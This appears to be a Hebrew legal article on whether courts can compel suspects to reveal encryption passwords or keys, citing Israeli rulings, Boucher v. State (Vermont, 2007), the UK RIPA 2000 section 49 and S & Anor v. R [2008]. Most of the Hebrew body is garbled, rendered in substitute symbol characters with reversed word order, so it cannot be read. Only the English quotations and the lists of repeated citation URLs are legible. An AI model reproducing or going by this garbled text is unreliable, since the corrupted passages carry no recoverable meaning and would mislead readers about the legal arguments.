ˣ˧˪˞ ,˸˵˲˯ˬ ˢˮˮ˧˞ .˧˪˧˪˲ˢ ˨˧˪ˢˢ ˫˰ ˶˟ˡ ˢ˪ ˭˧˞ ˫˧˶˥˞ ˧˷˰ˬ˟ ˭˧˧ˮˣ˰ˬ ˣˮˮ˧˞ ˶˸˞ˢ ˪˰˟˷ ˢˡ˟ˣ˰ˢ .
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˭˧ˡ˩ ˞˪˷ ˢ˶˧ˡ˥˟ ˶˟ˣˡˬ ˤ˞ ˵˶ˣ")˸" ˲)˧-˫ (3047/03 ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ '˧˥˶ˤˬ, ˲"˯˷˸ ˬ"ɣ)3 (769  ˭˩ˣ

˲˰71766/04 ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ '˫˶ ˭ˬ˶˟ )ˣ˟ˮ˟ ˫˯˶ˣ˲( ,˰˶˟ ˭ˣ˧˪˰˟ ˶˷ˣ˞" ˲6489/04 ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ '

˭ˬ˶˟ ˫˶.( 
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˸˧˦˯˧˞ˣˤ˵, ˧˶˵ ,˪ ˟˷˥˧˧ ˫ˬˣ˧˵˷ ˫˧˶˵ˬ ˸ˬ˧˷˶ ˸˸˪"ˢ˶˧ˡ˥) "ˢˬ˶ˬ˟ ˸ˣ˞ˬ˯˧˯ ˸ˠ˷ˢ ˭ˣˠ˩ , ˢ˯˧ˮ˩
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ˢ˟ ,˟ˣ˷ ˫˪ˣ˞ ,˸˧˷˧˞ ˢ˰ˡ ˣˤ .ˣˮ˧ˮ˲˪˷ ˢ˶˵ˬ˪ ˧˦ˮˣˣ˪˶ ˣˮˮ˧˞ ˢˤ ˪˩ ˫˪ˣ˞ . ˣˬ˪ˢ ˧˩ ˸˧˸ˡ˟ˣ˰ ˧˸˰˟˵˷ˬ
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˶ˬˣ˪˩ ,˫˧˟˷˥ˬˢ ˵ˣ˥ ˧˲ ˪˰ ,˭˧ˡ ˧˲ ˪˰ ˣ˞ ˣ˸ˬ˩˯ˢ˟ ˞˪˞ ˫ˡ˞ ˪˷ ˣ˟˷˥ˬ˪ ˯ˮ˩ˢ˪ ˸ˣ˶˷˲˞ ˪˩ ˭˧˞ .˭˩˪ ,

ˢ˶˧˟˰ˢ ˸˲˯ˣˢ˪ ˪˧˟˵ˬ˟ ,ˢˮ˵ˣ˸  ˧˪˧˪˲ˢ ˭˧ˡˢ ˶ˡ˯ ˸ˡˣ˵˲)˷ˣ˲˧˥ˣ ˶˴˰ˬ(  ˱˧˰˯˷ ˨˩23 ˢˡˣ˵˲ˢ ˪˷ ˞

˶˷˲˞˧ ˟˷˥ˬ ˶ˬˣ˥˪ ˢ˶˧ˡ˥ ˟ˠ˞ ˷ˣ˲˧˥ ˨ˣ˶˰˪ ˷ˣ˲˧˥ ˣ˴ ˭˸ˣˮ ˦˲ˣ˷ ˫ˢ˟ ˫˧˶˵ˬ . ˸˞ ˦˶˲˪ ˣ˴ˢ ˪˰

˷˶ˡˮˢ ˪˰ ˢ˪ˣ˰ˢ ˢˡ˧ˬ˟ ˸ˣ˧˦˶˲˟ ˰ˣˠ˲˪ ˷ˣ˲˧˥ˢ ˪˰ ˶˯˞ˮˣ ˷ˣ˲˧˥ˢ ˸˶˦ˬ . ˸˧˸ˣˢˬ ˢ˩ ˞˧ˢ ˢ˷˧˶ˡˢ

˷ˣ˲˧˥ˢ ˧˩ ˢˮ˧˟ˢ ˢ˵˧˯˲ˢ˷ ˡ˰  ˫ˡ˞ ˪˷ ˣˮ˧˧ˮ˵˟ ˢ˰˧ˠ˲ ˞ˣˢ ˟˷˥ˬ˟)˟" ˷1152/03 ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ '

ˠ˶˟˞ ˪˞˩˧ˬ'˪˧( ˟˷˥ˬˢ ˪˰˟ ˫˰˦ˬ ˫˧ˡ˰ ˸ˣ˥˩ˣˮ˟ ˸ˣ˷˰ˢ˪ ˸˷˶ˡˮ ˣˤ˩ ˢ˶˧ˡ˥ ˪˩ ˧˩ˣ. 

˫˪ˣ˞ ,˶˷˲˞ˬ ˷ˣ˲˧˥ˢ ˣ˴ ˵˶ ˟˷˥ˬˢ ˶ˬˣ˥˪ ˶ˣˡ˥˪ .˩ˢ˶˧ˡ˥ˢ ˰˴ˣ˟˸ ˡ˴˧ ?ˠ˶˟˞ ˸˷˶˲˟' ˸˧˟ ˳ˬ˧˞ ˪˧

 ˪˷ ˣ˸˷˧ˠ ˸˞ ˦˲˷ˬˢ˶ˡ'  ˧˵˯˟ˣ˪ˤˣ˵ ˡˣ˶ˬˮ  ˧˩ ˰˟˵ˣ"˟˷˥ˬˢ ˸˯˧˲˸ ˶˥˞˪ , ˟˷˥ˬˢ ˧˴˟˵ ˣ˵˸˰ˣ˧

)˟˧˷ˬˢ ˫˰˦ˬ ˢ˥ˬˣˬ ˸ˣ˥˩ˣˮ˟( , ˣˠ˧˴ˢ˪ ˢ˧ˢ˧ ˭˸˧ˮˣ ˶ˣ˵ˬ˩ ˟˷˥˧˧ ˵˸˰ˣˬˢ ˶ˬˣ˥ˢ ˧ˣ˴ˬ ˣ˟ ˵˯˧ˡˢ ˶˷˞˩

˧˶˵˧˰ˢ ˵˧˸˟ ˢ˧˞˶˩ ,˟˷ ˶˥˞˪ ˸˞ˤˣ"ˬ ˟˧˷ˬˢ ˩ ˢˤ ˵˯˧ˡ ˣ˪˧˞˩ ˢˮ˰˦ ˪˩ ˭˰˦˧ ˞˪˷ ˨˩˪ ˷˞˶ˬ ˫˧˩˯

˶ˣ˵ˬ ˣˮ˧˞ , ˸˞ ˶˸ˣ˯ ˢ˧˞˶˩ ˢˤ ˵˯˧ˡ ˸˞˟ˢ˷ ˢˮ˰˦ ˪˩ ˭˰˦˧ ˞˪ˣ"˶˸ˣ˧˟ ˢ˟ˣ˦ˢ ˢ˧˞˶ˢ ˪˪˩ ." ˶˥˞˪

˵˯˧ˡ˪ ˫˧˴˟˵ˢ ˸˵˸˰ˢ , ˟˷˥ˬˢ ˸˞ ˶˧ˤ˥ˢ˪ ˢ˧ˢ˧ ˭˸˧ˮ)ˣ˟˷ ˢˮ˩ˣ˸ˢ ˪˰ (ˣ˧˪˰˟˪". 

˸˞ˤ ˫˰ ,˟˷˥ˬˢ ˸˵˸˰ˢ˟ ˧ˡ ˞˪ ˫˧˸˧˰˪ ,˞˪ ˭˧˧ˡ˰ ˣ˸˵˸˰ˢ ˭˩˷ ˣ˟ ˷ˣ˲˧˥ˢ ˸˞ ˸˶˷˲˞ˬ . ˫˧˶˵ˬ˟

 ˸˷˶ˡˮ ˫ˢ˟ˬ˯˯ ˞˟˷˥ˬˢ ˶ˬˣ˥˪ ˶ˣˡ˥˪ ˸ˮˬ ˪˰, ˢ˶˦˷ˬˢ ˧ˡ˧˟ ˵˸˰ˢ ˞˴ˬ˧ ˫˞ ˫ˠ , ˢ˧ˢ˧ ˞˪ ˭˧˧ˡ˰

˟˷˥ˬˢ ˶ˬˣ˥ ˸˞ ˞ˣ˶˵˪ˣ ˶ˣˡ˥˪ ˫ˢ˪ ˶˷˲˞˪ ˧ˡ˩ ˨˩˟ .˰ ˭˧˧ˮ˰˟" ˲1761/04 ˮ ˭ˣ˶˷ ˡ˰˪ˠ ' ˸ˮ˧ˡˬ

˪˞˶˷˧ ,˵˧ˤ˥ˢ ˢ˷˶˲ˢ ˢ˸ˣ˞˟ ˭ˣ˶˷ ˡ˰˪ˠ ˣˡˠˮ ˢ˶˧˵˥ ˨˶ˣ˴˪ ˫˧˷ˣ˶ˡ ˣ˧ˢ ˶˷˞ ˫˧˩ˬ˯ˬ ˶˲˯ˬ˟ .

ˢ˪˷ˬˬˢ ˷˞˶ ˸˧˟˟ ˣ˵ˤ˥ˣˢ ˫˧˩ˬ˯ˬˢ , ˡˣ˷˥ˢ ˪˷ ˣ˸˧˟˪ ˯ˮ˩ˢ˪ ˸ˣ˩ˬ˯ ˢ˸˧ˢ ˞˪ ˢ˶˦˷ˬ˪ ˭˩ ˪˰ˣ

˫˷ ˷˲˥˪ˣ .˭˩˪ ,˫˧˩ˬ˯ˬ ˶˲˯ˬ ˢ˧ˮ˲˟ ˠ˧˴ˢ˪ ˭ˣ˶˷ ˸˞ ˟˧˧˥ˬ˷ ˣ˴ ˢ˶˦˷ˬˢ ˢ˷˵˧˟ .ˣ˶˷ ˸˧˧˴ ˞˪ ˭

ˣ˴˪ ˸˦˪˥ˣˬ ˢ˶ˣ˴˟ , ˢ˪ˣ˰˲ ˱˸˷˪ ˞˪ ˣ˪ ˫˧˶˷˲˞ˬ ˢ˵˧˸˷ˢ ˸ˣ˩ˤˣ ˸˧ˬ˴˰ ˢ˪˪˲ˢ ˧ˮ˲ˬ ˭ˣ˧˯˥ˢ ˧˩ ˭˰˦ˣ

˭˞˩ ˢ˶˧˵˥ˢ ˸ˣ˧ˣ˷˶ ˫˰ .˦˲˷ˬˢ ˸˧˟ ,ˡ˥ ˢˮ˧˞˷ ˢ˦˪˥ˢ˟-˸˧˰ˬ˷ˬ , ˧˩ ˰˟˵" ˱˧˰˯43  ˰˟ˣ˵ ˣˮ˧˞ ˣˬ˴˰

ˣ˥ˣ˩ˬ ˞˴ˣˢ˷ ˣ˴ ˫ˣ˧˵ ˧˞ ˪˷˟ ˢ˧˴˵ˮ˯ .ˢ˶ˣ˞˩˪ ,ˣ˴ˢ ˞˧˴ˣˬ ˦˲˷ˬˢ ˸˧˟ ˧˩ ˞˴ˣ˧  ˷ˮˣ˰ ˪˧˦ˢ˪ ˨ˬ˯ˣˬ ˣˮ˧˞

˭˧ˡ˩ ˫˧ˣ˵ ˞˪ ˣ˴ˢ ˧˩ ˣˬ˰˦ˬ ˢ˦˪˥ˢ˟ ˶˧ˢ˟ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˞ˣˢ ˨ˬ˯ˣˬ˷ ˪˩ˣ ˣ˴ˢ ˸˞ ˫˧˧˵ˬ ˣˮ˧˞˷ ˧ˬ ˪˰" ;

˫˪ˣ˞ ,˫˧˩ˬ˯ˬˢ ˸˞ ˶ˣ˯ˬ˪ ˢ˟ˣ˥ ˢˮ˷˧ ˭ˣ˶˷˪ ˧˩ ˰˟˵. 

˯ ˸˞ ˶ˣ˯ˬ˪ ˫ˡ˞ ˥˧˶˩ˢ˪ ˷˧ ˫˞ˢ ˢ˪˞˷ˢ ˢˮˣˡˮ ˫˶˦ ˪˞˶˷˧˟˧˸˧˪˧˪˲ ˢ˶˧˵˥ ˸˰˟ ˣ˸ˬ˯ , ˸ˣ˶ˬ˪

˟ ˢ˪˰ ˭˧˧ˮ˰ˢ˷ ˢ˧ˣ˞˶ˢ ˸ˣ˯˥˧˧˸ˢˢ ˸˞ ˪˟˵˪ ˧˪˟ˬ ˫˧˧˦˲˷ˬ ˫˧˩˧˪ˢ ˶˲˯ˬ˟ ˸˧˟ˠ˞ ˢ˶ˣ˴)˷˟" ˞

9455/09 ˮ ˭˪˲˵ ˫ˣ˸ '˸˴ˣ˟˵ PCIC , ˲˸)˸"˞ (40071/04 ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ ' ˢ˯ˡˮˢ ˶˵˲ ˯˧˶ˣ˟ ˸˶˟˥

˰˟"ˬ,  ˟˰)˸"˞ (7615/02ˮ ˭˧ˬ˧ˮ˟ ˡˣˡ 'ˠ˧˶ˣ˵'˰˟ ˭˧"ˬ( , ˢ˷˵˟ ˦˲˷ˬˢ ˸˧˟ ˢ˥ˡ ˣ˞ ˶˷˧˞ ˫ˢ˟ ˫˧˶˵ˬ

 ˪˷ ˟˷˥ˬ ˧˶ˬˣ˥˪ ˢ˶˧ˡ˥˪ ˫˧˧˵˯˰ ˫˧˲˸ˣ˷ ˣ˞ ˫˧ˡ˟ˣ˰) ˟˰010121/06 ˮ ˟ˣ˵˯˧˞ ˧˪˦ ' ˵ˣ˥ ˪˰ ˢˮˣˬˬˢ

˫˧˷ˮ ˸ˡˣ˟˰ ˟˰ ˣ '1158/06 ˮ ˶˷˧˲ ˧ˮ˶ '˫˧ˬ ˧˵˧˲˞ ,"s ˲1529/09 ˥˞ˣ ˰˟˷ ˸˟ ˭˥ ' ˮ'˟˞ˤ ˭˟ ˧ˮˣ˧( , ˣ˞

 ˣ˸ˣ˧˦˶˲˟ ˢ˰˧ˠ˲ ˞˧ˢ ˡ˟ˣ˰ ˪˷ ˣ˧˟˷˥ˬ˪ ˢ˴˧˶˲ ˧˩ ˭˰˦)˶ˬ˰" ˬ13028-04-09 ˮ ˣˢ˧˪˞ ˭˧ˬ˧ˮ˟ ' ˸˧˧˶˧˰

ˢ˧˶˟˦ .(˫˪ˣ˞ ,ˢ ˸˞ ˶ˣ˯ˬ˪ ˫ˡ˞ ˪˰ ˢ˟ˣ˥ ˢˮ˷˧ ˫˞ˢ ˢ˪˞˷ˢ ˢ˸˪˰ ˞˪ ˢ˪˞ ˫˧˶˵ˬˬ ˡ˥˞ ˪˩˟ˬ˯˯ ˞,
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http://nevo.co.il/psika_html/mechozi/m021153.htm
http://nevo.co.il/psika_html/mechozi/m021153.htm
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://www.nevo.co.il/Psika_word/elyon/0401761.doc
http://nevo.co.il/psika_html/mechozi/m09009455-140.htm
http://nevo.co.il/psika_html/mechozi/m09009455-140.htm
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/mechozi/m04040071-537.doc
http://nevo.co.il/psika_word/avoda/aa02007615-74.doc
http://nevo.co.il/psika_word/avoda/aa02007615-74.doc
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_7469.html
http://www.netlaw.co.il/it_itemid_9280.html
http://www.netlaw.co.il/it_itemid_9280.html
http://law.co.il/media/computer-law/chen_bat_sheva.pdf
http://law.co.il/media/computer-law/chen_bat_sheva.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
http://www.law.co.il/media/computer-law/beliyahu_appeal.pdf
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˶ˬˣ˪˩ ,˸˧˪˧˪˲ ˢ˶˧˵˥ ˸˶ˠ˯ˬ˟ ,˪ ˫ˡ˞ ˪ˣ˞˷˪ ˢ˶˦˷ˬˢ ˶˵ˣ˥ ˪ˣ˩˧˸˞ˬ˯˧˯ ˟˷˥ˬ˪ ˣ˪˷ ˢ˷˧ˠˢ . ˫ˡ˞

˫˧ˬ˰˦ ˶˲˯ˬˬ ˟˶˯˪ ˪ˣ˩˧ :˸˧˷˞˶ ,ˢ ˸˶˧˯ˬ˷ ˨˩˪ ˭ˣ˰˦˪ ˪ˣ˩˧ ˞ˣˢˢˬ˯˧˯  ˢ˪˪˲ˢ ˸˰˧ˮˬ˪ ˣ˸ˣ˩ˤ˟ ˰ˠ˲˸

 ˱˧˰˯ ˧˲˪ ˸˧ˬ˴˰47 ˪˸ˣ˧˞˶ˢ ˸ˡˣ˵˲; ˸˧ˮ˷ ,ˢ ˸˶˧˯ˬ ˧˩ ˭ˣ˰˦˪ ˪ˣ˩˧ ˞ˣˢˢˬ˯˧˯ ˰ˬ ˣ˸ˣ˧˦˶˲˟ ˸˰ˠˣ˲ ˶˟

˸˧˸˵ˣ˥ ˸ˣ˩ˤ˟ ˢ˰˧ˠ˲˟ ˶˟ˣˡˬ ˭˩ ˪˰ˣ ˸˷˶ˡˮˢ ˢˡ˧ˬ˪ .˶ˣˬ˞˩ ,ˢ ˸˶˧˯ˬ ˧˞ˬ˯˯ ˞ ˸˧˸˧˧˰˟ ˸ˣ˧ˢ˪ ˢ˧ˣ˷˰

˟˷˥ˬ ˧˶ˬˣ˥˟ ˷ˣ˲˧˥ ˸˰˟ ˸˦˵ˣˮ ˪˞˶˷˧ ˸˶˦˷ˬ˷ ˢ˪ˣ˯˲ˢ ˢ˵˧˦˵˶˲ˢ ˶ˣ˞˪ ˫˪ˣ˞ ˢ˶˦˷ˬˢ ˸ˮ˧˥˟ˬ, 

) ˲˷˟5837/09 ˮ ˤ˧˦˶ˣ˞ '˪˞˶˷˧ ˸ˮ˧ˡˬ,  ˲˸)˧-˫ (2077/06  ˮ ˪˞˶˷˧ ˸ˮ˧ˡˬ '˷˧˶˞ ˣˢ˧˪˞(  ˧˞˷ ˧˶ˢ

 ˸˶˧˯ˬˬ˯˧˯ ˞˫˧˰˷ˣ˲ ˰˧˷˶ˢ˪ˬ ˶˸ˣ˧ ˰˷˲ˬ ˫˧˲˥ ˫˧˸˧˰˪ ˪˧˴ˢ˪ ˢ˪ˣ˩˧. 

˸˧˶˟ˢ ˸ˣ˴˶˞˟ ,ˡˠˮˬ, ˯ ˸˞ ˶ˣ˯ˬ˪ ˢ˟ˣ˥ ˫˷˞ˮ ˪˰ ˭˧˞ ˧˩ ˦˲˷ˬˢ ˧˸˟ ˣ˵˯˲˧ˣ˪˷ ˷ˬ˸˷ˬˢ ˸˞ˬ˯. 

˧˩ ˵˯˲ ˦˲˷ˬˢ ˸˧˟ "ˬ˯˧˯ ˞,˫˧˶˲˯ˬ ˱ˣ˶˧˴ ˣˬ˩ ,ˣ˸˰ˡˣ˸˟ ˸˞˴ˬˮ (mind)  ˸ˣˡ˰ ˞˧ˢ ˭˩˪ˣ ˡˣ˷˥ˢ ˪˷

˦˲˷ˬ˟ ˫˧˟˷ˣˬˢ ˶˟˥ ˪˷ ˢ˶˧˵˥ˢ ˸ˣ˶˷˲˞˪ ˶˟˰ˬ ˸˞˴ˬˮˢ ")Boucher v. State, United States 

District Court for the District of Vermont, 2007 WL 4246473 .(˭˩ ˧˲ ˪˰ ˱˞ , ˦˲˷ˬˢ ˸˧˟

˫˧˶ˣ˰˶˰˪, ˢ˶˵ˬˢ ˣ˸ˣ˞˟ , ˣ˪˷ ˥˧˷˵ˢ ˭ˮˣ˩ˢ ˭˩ˣ˸ ˸˞ ˶ˣ˯ˬ˪ ˫˷˞ˮˢ ˸˞ ˟˧˧˥) ˸˞ ˞˪ ˨˞ˢˢˬ˯˧˯ ( ˭ˣˣ˧˩

 ˭ˮˣ˩˟ ˷˲˥˪ ˸ˣ˷˶ˢ ˸˞ ˸ˣ˧ˣ˷˶˪ ˭˸ˮ ˭˩˞ ˢ˪˧˥˸˟˷)2:06(-mj-91 In Re: Grand Jury  Subpeona 

v. Boucher  .˵˯˲ ˦˲˷ˬˢ ˸˧˟ ,˞˷ˣˮ˟ ˪˞˶˷˧˟ ˭ˣ˧˪˰ˢ ˦˲˷ˬˢ ˸˧˟˪ ˡˣ˞ˬ ˢˬˣˡ ˢ˶ˣ˴˟  ˡ˰˪ˠ

˭ˣ˶˷ ˧˩: 

"Boucher accessed the Z drive of his laptop at the ICE agent's request. The ICE agent 

viewed the contents of some of the Z drive's files, and ascertained that they may consist 

of images or videos of child pornography. The Government thus knows of the 

existence and location of the Z drive and its files. Again providing access to the 

unencrypted Z drive adds little or nothing to the sum total of the Government's 

information about the existence and location of files that may contain incriminating 

information". 

ˢˮ˲˴ˢˢ ˸ˣ˥˸˲ˬ ˸˲˧˷˥ ˸˞ ˶˷˲˞ˬˢ ˧˲˧˴˲˯ ˵ˣ˥ ˣˮ˷˧ ˢ˧ˮ˦˧˶˟˟ The Regulation of -

Investigatory Powers Act 2000   ˱˧˰˯˟ ˰˟ˣ˵˷49 ˭˸˧ˮ ˧˩ , ˧˩ ˡ˷˥ ˣˮ˷˧ ˫ˢ˟ ˫˧˶˵ˬ˟ ˥˸˲ˬ

˫ˡ˞ ˧ˡ˧˟ ˞˴ˬˮ ˭˲˴ˣˬ ˰ˡ˧ˬ˪ ,˥˸˲ˬˢ ˸˞ ˶ˣ˯ˬ˪ ˫ˡ˞ ˣ˸ˣ˞ ˸˞ ˟˧˧˥˪ .ˡ˥˞ ˢ˶˵ˬ˟ , ˦˲˷ˬˢ ˸˧˟

˧˩ ˵˯˲ ˢ˧ˮ˦˧˶˟˟ ˭ˣ˧˪˰ˢ ˫ˢ˪˷ ˢˮ˲˴ˢˢ ˸ˣ˥˸˲ˬ ˸˞ ˶ˣ˯ˬ˪ ˫˧ˡˣ˷˥ ˪˰ ˢ˟ˣ˥: 

"On analysis, the key which provides access to protected data, like the data itself, 

exists separately from each appellant's "will". Even if it is true that each created his 

own key, once created, the key to the data, remains independent of the appellant's "will" 

even when it is retained only in his memory, at any rate until it is changed. If 

investigating officers were able to identify the key from a different source (say, for 

example, from the records of the shop where the equipment was purchased) no one 

would argue that the key was not distinct from the equipment which was to be accessed, 

and indeed the individual who owned the equipment and knew the key to it" (S & Anor v. 

R [2009] 1 All ER 716, [2008] EWCA Crim 2177). 

http://www.nevo.co.il/law_html/law01/055_204.htm
http://www.netlaw.co.il/it_itemid_10868.html
http://www.netlaw.co.il/it_itemid_10868.html
http://www.nevo.co.il/psika_word/mechozi/m06002077-587.doc
http://www.nevo.co.il/psika_word/mechozi/m06002077-587.doc
http://2jk.org/praxis/?p=1131
http://2jk.org/praxis/?p=1131
http://www.volokh.com/files/Boucher.pdf
http://www.volokh.com/files/Boucher.pdf
http://2jk.org/praxis/wp-admin/%22%D7%A1%D7%A1%D7%9E%D7%90,%20%D7%9B%D7%9E%D7%95%20%D7%A6%D7%99%D7%A8%D7%95%D7%A3%20%D7%9E%D7%A1%D7%A4%D7%A8%D7%99%D7%9D,%20%D7%A0%D7%9E%D7%A6%D7%90%D7%AA%20%D7%91%D7%AA%D7%95%D7%93%D7%A2%D7%AA%D7%95%20%28mind%29%20%D7%A9%D7%9C%20%D7%94%D7%97%D7%A9%D7%95%D7%93%20%D7%95%D7%9C%D7%9B%D7%9F%20%D7%94%D7%99%D7%90%20%D7%A2%D7%93%D7%95%D7%AA%20%D7%94%D7%A0%D7%9E%D7%A6%D7%90%D7%AA%20%D7%9E%D7%A2%D7%91%D7%A8%20%D7%9C%D7%90%D7%A4%D7%A9%D7%A8%D7%95%D7%AA%20%D7%94%D7%97%D7%A7%D7%99%D7%A8%D7%94%20%D7%A9%D7%9C%20%D7%97%D7%91%D7%A8%20%D7%94%D7%9E%D7%95%D7%A9%D7%91%D7%99%D7%9D%20%D7%91%D7%9E%D7%A9%D7%A4%D7%98%22%20%28Boucher%20v.%20State,%20United%20States%20District%20Court%20for%20the%20District%20of%20Vermont,%202007%20WL%204246473%29
http://2jk.org/praxis/wp-admin/%22%D7%A1%D7%A1%D7%9E%D7%90,%20%D7%9B%D7%9E%D7%95%20%D7%A6%D7%99%D7%A8%D7%95%D7%A3%20%D7%9E%D7%A1%D7%A4%D7%A8%D7%99%D7%9D,%20%D7%A0%D7%9E%D7%A6%D7%90%D7%AA%20%D7%91%D7%AA%D7%95%D7%93%D7%A2%D7%AA%D7%95%20%28mind%29%20%D7%A9%D7%9C%20%D7%94%D7%97%D7%A9%D7%95%D7%93%20%D7%95%D7%9C%D7%9B%D7%9F%20%D7%94%D7%99%D7%90%20%D7%A2%D7%93%D7%95%D7%AA%20%D7%94%D7%A0%D7%9E%D7%A6%D7%90%D7%AA%20%D7%9E%D7%A2%D7%91%D7%A8%20%D7%9C%D7%90%D7%A4%D7%A9%D7%A8%D7%95%D7%AA%20%D7%94%D7%97%D7%A7%D7%99%D7%A8%D7%94%20%D7%A9%D7%9C%20%D7%97%D7%91%D7%A8%20%D7%94%D7%9E%D7%95%D7%A9%D7%91%D7%99%D7%9D%20%D7%91%D7%9E%D7%A9%D7%A4%D7%98%22%20%28Boucher%20v.%20State,%20United%20States%20District%20Court%20for%20the%20District%20of%20Vermont,%202007%20WL%204246473%29
http://www.opsi.gov.uk/acts/acts2000/ukpga_20000023_en_8#pt3-pb1-l1g49
http://www.opsi.gov.uk/acts/acts2000/ukpga_20000023_en_8#pt3-pb1-l1g49
http://www.out-law.com/page-9514
http://www.out-law.com/page-9514
http://www.bailii.org/ew/cases/EWCA/Crim/2008/2177.html
http://www.bailii.org/ew/cases/EWCA/Crim/2008/2177.html
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˧˸˦˧˷˪ ,ˢˮ˲˴ˢˢ ˸ˣˢˬ ˪˷ ˢˮˣ˩ˮ ˞˪ ˢ˷˧˲˸ ˨ˣ˸ˬ ˸ˣ˰˟ˣˮˣ ˸ˣ˧ˣˠ˷ ˸ˣ˦˪˥ˢˢ . ˣ˪˩˧ ˣ˪ ˧˩ ˸˵ˣ˪˥ˬ ˭˧˞

˭˲˴ˣˬˢ ˟˷˥ˬˢ ˶ˬˣ˥˪ ˶ˣˡ˥˪ ˸˧ˮ˩˦ ˢ˶ˣ˴˟ ˢ˶˧˵˥ˢ ˸ˣ˧ˣ˷˶ ,˩ ˸ˣ˷˰˪ ˸ˣ˩ˬ˯ˢ ˸˞ ˫ˢ˪ ˢ˸˧ˢ.˭  ˞˪˞

˞ˣˢ˷˪˩ ˢˮ˲˴ˢ ˥˸˲ˬ ˶ˣ˯ˬ˪ ˫ˡ˞ ˪˷ ˣ˟ˣ˧˥ ˫˴˰ ˪˰ ˞˧ˢ ˸˵ˣ˪˥ˬˢ˷ .˪˷ ˧˦˧˶˟ˢ ˢ˶˵ˬ˟ ˭ˢ S&R  

˪˷ ˧˞˵˧˶ˬ˞ˢ ˢ˶˵ˬ˟ˣ Boucher,  ˞˪ ˣ˪˪ˠ˟˷ ˧ˠˣ˪ˣˮ˩˦ ˨˶ˣ˴ˬ ˰˟ˮ ˢˮ˲˴ˢˢ ˥˸˲ˬ ˸˞ ˶ˣ˯ˬ˪ ˟ˣ˧˥ˢ

˶ˬˣ˥˪ ˶ˣˡ˥˪ ˵ˣ˥ˢ ˸ˣ˧ˣ˷˶ ˣ˥˧˪˴ˢ,  ˪ˣ˰˲˪ ˸ˣˮ˧˧ˮˣ˰ˬ˷ ˢ˶˧˵˥ ˸ˣ˧ˣ˷˶ ˫˰ ˢ˪ˣ˰˲ ˱˸˷˪ ˫ˡ˞ˬ ˣ˷˶ˡ

ˣˡˠˮ ,ˢ˶˧˵˥ˢ ˨˧˪ˢˬ ˵˪˥ ˸ˣ˧ˢ˪ ˫˴˰˟ˣ . ˸ˣ˦ˣ˷˲ ˸ˣ˪˞˷ ˪˰ ˢˮ˰ˬ ˪˰ ˶˟ˣˡˬ ˞˪)˞ ˪ˣ˩˧ ˭ˢ˧˪˰ ˫ˠ˷ ˣ˸ˣ

˸ˣˮ˰˪ ˟˶˯˪ ˫ˡ˞( ,ˣ˪˷ ˡˣ˵ˢ ˸ˣ˪˧ˬ ˸˞ ˵ˣ˥ˢ ˸ˣ˧ˣ˷˶ ˶ˣ˟˰ ˥ˮ˰˲˪ ˡˣ˷˥ ˣ˸ˣ˞ ˷˶ˡˮ ˣ˟ ˟˴ˬ ˪˰ ˞˪˞. 

˶ˬˣ˥ˢ ˪˷ ˣˬˣ˧˵ ˪˰ ˣ˰ˡ˧ ˢ˶˧˵˥ˢ ˸ˣ˧ˣ˷˶ ˧˩ ˢ˧ˢ ˫˧˶˵ˬˢ ˧ˮ˷˟ ˪˞ˮˣ˧˴˶ˢ , ˢ˷˧ˠ ˫ˢ˪ ˢ˸˧ˢ ˞˪ ˦ˣ˷˲ˣ

ˣ˧˪˞ ;˪˷ ˢ˶˵ˬ˟ S&R ˪˷ ˢ˶˵ˬ˟ˣ ˢ˪ˠ˸ˢ˷ ˭˲˴ˣˬ ˭ˣ˦˶˯ ˪˰ ˶˟ˣˡ Boucher ˶ˣ˲ ˪˰ ˶˟ˣˡ ˸˧˲˶ˠˣˮ

˫˧ˮ˧˦˵ .˫˧˶˵ˬˢ ˟ˣ˶˟˷ ˞˪˞ ,˭ˮˣ˩ˢ ˭˩ˣ˸ ˧˟ˠ˪ ˠ˷ˣˬ ˭˧˞ ˢ˶˧˵˥ˢ ˸ˣ˧ˣ˷˶˪ ˞˵ˣˣˡ , ˥˧˦˟ˢ˪ ˨˶ˡ ˭˧˞ˣ

˫˧˷˲˥ˬ ˫ˢ ˫˸ˣ˞ ˫˧˶ˬˣ˥˪ ˵˶ˣ ˨˞ ˡ˵ˣˬˬ ˢ˧ˢ˧ ˣ˰˴˟˧˷ ˷ˣ˲˧˥ˢ˷ . ˸ˣ˧ˣ˷˶ ˪˷ ˸˧˦˵˶˲ˢ ˸˪ˣ˩˧ˢ ˶ˡ˰ˢ

ˢˮ˲˴ˢ ˸ˣ˥˸˲ˬ ˥ˣ˸˲˪ ˵ˣ˥ˢ ˭˩ ˣ, ˸ˣ˧ˣˠˢˮ˸ˢ ˪˰ ˥˵˲˪ ˭ˢ˪˷ ˡˬ˸ˬˢ ˭ˣ˴˶ˢ , ˸ˣ˵˧˦˵˶˲˷ ˨˩˪ ˸ˣ˞˧˟ˬ

˸ˣ˦˵ˮˮ ˸ˣ˪ˣ˯˲. 

˶˧ˡˠˢ˪ ˞˧ˢ ˢˮ˲˴ˢˢ ˸˶˦ˬ ,˵ˣ˥ ˪˩ ˧˪˟ˣ ˪˰ˣ˲˟ , ˣ˷˞˶˟ ˞˴ˬˮˢ ˰ˡ˧ˬˢˬ ˧˦ˮ˶ˢˮ˧˞ ˵˪˥˩ ˫˧ˣ˯ˬ ˰ˡ˧ˬ

˫ˡ˞ ˪˷ .˧˲ ˥˸˲ˬ˪ ˡˣˠ˧ˮ˟ˤ˨˪˷ ˸˧˟ˢ ˥˸˲ˬ ˣˬ˩ ˧ , ˯ˣ˲˸˪ ˢ˪ˣ˩˧ ˢ˶˦˷ˬˢ˷˫ˣ˷ˬ ˳˲˥ ˞ˣˢ˷ ,
